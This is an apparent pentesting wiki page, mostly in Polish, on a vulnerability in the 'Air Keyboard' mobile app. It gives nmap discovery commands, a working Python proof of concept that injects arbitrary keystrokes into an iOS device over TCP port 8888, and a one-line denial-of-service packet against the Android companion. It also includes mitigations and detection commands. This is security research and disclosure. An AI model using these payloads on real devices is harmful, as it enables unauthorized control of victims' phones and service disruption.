4.5 KiB
Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
{{#include ../../banners/hacktricks-training.md}}
TL;DR
Wersja iOS komercyjnej aplikacji "Air Keyboard" (ID w App Store 6463187929) otwiera usługę TCP w czystym tekście na porcie 8888, która akceptuje ramki naciśnięć klawiszy bez żadnej autoryzacji. Każde urządzenie w tej samej sieci Wi-Fi może połączyć się z tym portem i wstrzyknąć dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając pełne przejęcie zdalnej interakcji.
Towarzysząca wersja na Androida nasłuchuje na porcie 55535. Wykonuje słabe ręczne ustalenie AES-ECB, ale stworzony śmieć powoduje nieobsługiwany wyjątek w procedurze deszyfrowania OpenSSL, powodując awarię usługi w tle (DoS).
1. Odkrywanie usługi
Skanuj lokalną sieć i szukaj dwóch stałych portów używanych przez aplikacje:
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
Na urządzeniach z Androidem możesz zidentyfikować odpowiedni pakiet lokalnie:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
2. Format ramki (iOS)
Binarna zawartość ujawnia następującą logikę analizy wewnątrz rutyny handleInputFrame()
:
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
Zadeklarowana długość obejmuje bajt device_id
ale nie sam nagłówek o długości dwóch bajtów.
3. Exploitation PoC
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
Każdy drukowalny ASCII (w tym \n
, \r
, klawisze specjalne itp.) może być wysyłany, co skutkuje przyznaniem atakującemu tej samej mocy co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości IM, odwiedzanie phishingowych URL-i itp.
4. Android Companion – Denial-of-Service
Port Androida (55535) oczekuje 4-znakowego hasła zaszyfrowanego za pomocą hard-coded AES-128-ECB key, po którym następuje losowy nonce. Błędy parsowania pojawiają się w AES_decrypt()
i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet jest zatem wystarczający, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. Przyczyna
- Brak kontroli pochodzenia / integralności przychodzących ramek (iOS).
- Niewłaściwe użycie kryptografii (statyczny klucz, ECB, brak walidacji długości) oraz brak obsługi wyjątków (Android).
6. Środki zaradcze i pomysły na wzmocnienie
- Nigdy nie udostępniaj nieautoryzowanych usług na urządzeniu mobilnym.
- Wyprowadzaj sekrety specyficzne dla urządzenia podczas onboardingu i weryfikuj je przed przetwarzaniem danych wejściowych.
- Powiąż nasłuchiwacz z
127.0.0.1
i użyj wzajemnie uwierzytelnionego, szyfrowanego transportu (np. TLS, Noise) do zdalnego sterowania. - Wykrywaj niespodziewane otwarte porty podczas przeglądów bezpieczeństwa mobilnego (
netstat
,lsof
,frida-trace
nasocket()
itd.). - Jako użytkownik końcowy: odinstaluj Air Keyboard lub używaj go tylko w zaufanych, izolowanych sieciach Wi-Fi.
Arkusz oszustw wykrywania (Pentesterzy)
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
Odniesienia
- Luka w zdalnym wstrzykiwaniu wejścia w aplikacji Air Keyboard na iOS wciąż niezałatana
- Zalecenie CXSecurity WLB-2025060015
{{#include ../../banners/hacktricks-training.md}}